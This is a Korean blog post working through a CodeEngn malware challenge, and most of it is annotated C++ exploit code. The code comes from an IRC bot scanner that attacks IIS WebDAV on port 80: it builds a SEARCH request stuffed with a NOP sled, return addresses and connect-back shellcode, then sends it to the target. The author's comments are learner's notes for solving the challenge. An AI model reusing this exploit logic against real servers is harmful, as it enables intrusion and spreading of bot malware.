CodeEngn 02 Malware

2018. 1. 7. 09:320x06 Malware

728x90



여담 : 코드만 던져주는 문제라서 의식의 흐름대로 주석을 달면서 흐름을 파악해보았다. 

그냥 눈에 보이는 대로 직독직해했다 하지만 운좋게 풀긴했다. 

마치 CTF에서 랜섬웨어 문제에서 대놓고 나 랜섬웨어에요~ 라고 하듯이 혹은 최근에 페이스북 메시지 관련 마이너에서도

나 채굴기에요 라고 하드코딩 되어 있는 단어가 있었다. 

여기서 추가적으로 알게 된 것은 내가 만약에 중요한 프로그램을 설계하게 되면 변수명 부터 신중하게 해야겠다는 생각도 가질 수 있었다.



// c++ 코드이다 


// dav에 대해 검색을 한번 해봤는데 WebDAV라는 말이 나오고 XML이라는 말이 나왔다.

// 둘다 인증한번 해본다 

// 예스~~~~ 악성코드 재밌다 


// 음 인증은 성공했지만, 얻어걸린것이다. dav를 한번도 들어본적이 없다.

// 그래서 공부를 진행했다. 


// webdav란?

// Web-based Distributed Authoring and versioning 이라고 하여 

// 파일 공유 시 접속자들에게 간단하게 사용되는 프로토콜이라고 한다. 


// ref: http://junewarehouse.blogspot.kr/2015/09/webdav.html


char body[]=

"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"

"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"

"</g:searchrequest>\r\n";


CScannerMalware_L02::CScannerMalware_L02() { m_sScannerName.Assign("Malware_L02"); }

void CScannerMalware_L02::StartScan(const CString &sHost)

{ bool bSuccess=false;

if(ScanPort(sHost.CStr(), 80))

{ g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s:80.", m_sScannerName.CStr(), sHost.CStr());

bSuccess=Exploit(sHost); }


if(bSuccess) g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), \

"%s: exploited ip %s.", m_sScannerName.CStr(), sHost.CStr()); }


bool CScannerMalware_L02::Exploit(const CString &sHost)

{ char szSCBuf[4096]; char szShellBuf[4096];

char *szReqBuf=(char*)malloc(100000); unsigned short ret=0xB102;

int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=100, rt=0, r=0;


int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(sSocket==-1) return false;


sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin));

ssin.sin_family=AF_INET; ssin.sin_port=htons(80); // 80 포트 이용 

ssin.sin_addr.s_addr=ResolveAddress(sHost.CStr());

if(ssin.sin_addr.s_addr==INADDR_NONE)

{ free(szReqBuf); xClose(sSocket); return false; }


// IRC를 이용하는 악성코드로 추정된다. 

// IRC BOT 인 것 같은데 인증 한번 해보자 으윽 아니었다 

if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))

iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \

g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \

Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);

else

iShellSize=setup_shellcode(Malware_L02_shellcode, sizeof(Malware_L02_shellcode), szShellBuf, sizeof(szShellBuf), \

g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \

Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, Malware_L02ConfigSC);

// shellcode 삽입 

memset(szSCBuf+iPos, '\x90', iNOPSize ); iPos+=iNOPSize;

memcpy(szSCBuf+iPos, szShellBuf, iShellSize ); iPos+=iShellSize;

iSCSize=iPos; iPos=0;


memset(szReqBuf, 0, 100000);

strcpy(szReqBuf, "SEARCH /"); // search가 힌트가 될 수도?

int j, i=strlen(szReqBuf); szReqBuf[i]='\x90';

for(j=i+1; j<i+2150; j+=2) { memcpy(szReqBuf+j, &ret, 2); iPos+=2; }

for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';

memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));


// http 

strcat(szReqBuf, " HTTP/1.1\r\n");

sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", sHost.CStr(), strlen(body)+iShellSize);

strcat(szReqBuf, body); // 위에 선언 된 body를 szReqBuf에 붙이는 것으로 보아 어떠한 행위를 할 수도 있겠다는 생각이 듬 

// szReqBuf에 대한 정보를 수집한 결과 nop sled도 있고 SEARCH / 라는 문자열도 들어가고 68번 라인에서든 WHILE문 안에서도 쓰이니까 왠지 냄새가 났음 

memset(szReqBuf+strlen(szReqBuf), 0x01, 1);

memset(szReqBuf+strlen(szReqBuf), 0x90, 3);

memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);

iReqSize=strlen(szReqBuf);

int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in));


if(xWrite(sSocket, szReqBuf, iReqSize)!=iReqSize) { xClose(sSocket); free(szReqBuf); return false; }


while((r=xRead(sSocket, &szReqBuf[rt], 10000))>0 && rt<100000) rt+=r;

if(rt) { xClose(sSocket); free(szReqBuf); return false; }




'0x06 Malware' 카테고리의 다른 글

CodeEngn Malware 04  (0) 2018.01.07
CodeEngn Malware 03  (0) 2018.01.07
CodeEngn 01 Malware  (0) 2018.01.07
[Monero_ISSUE]_Author_c0nstant_Release  (2) 2017.12.22
테스트  (0) 2017.12.19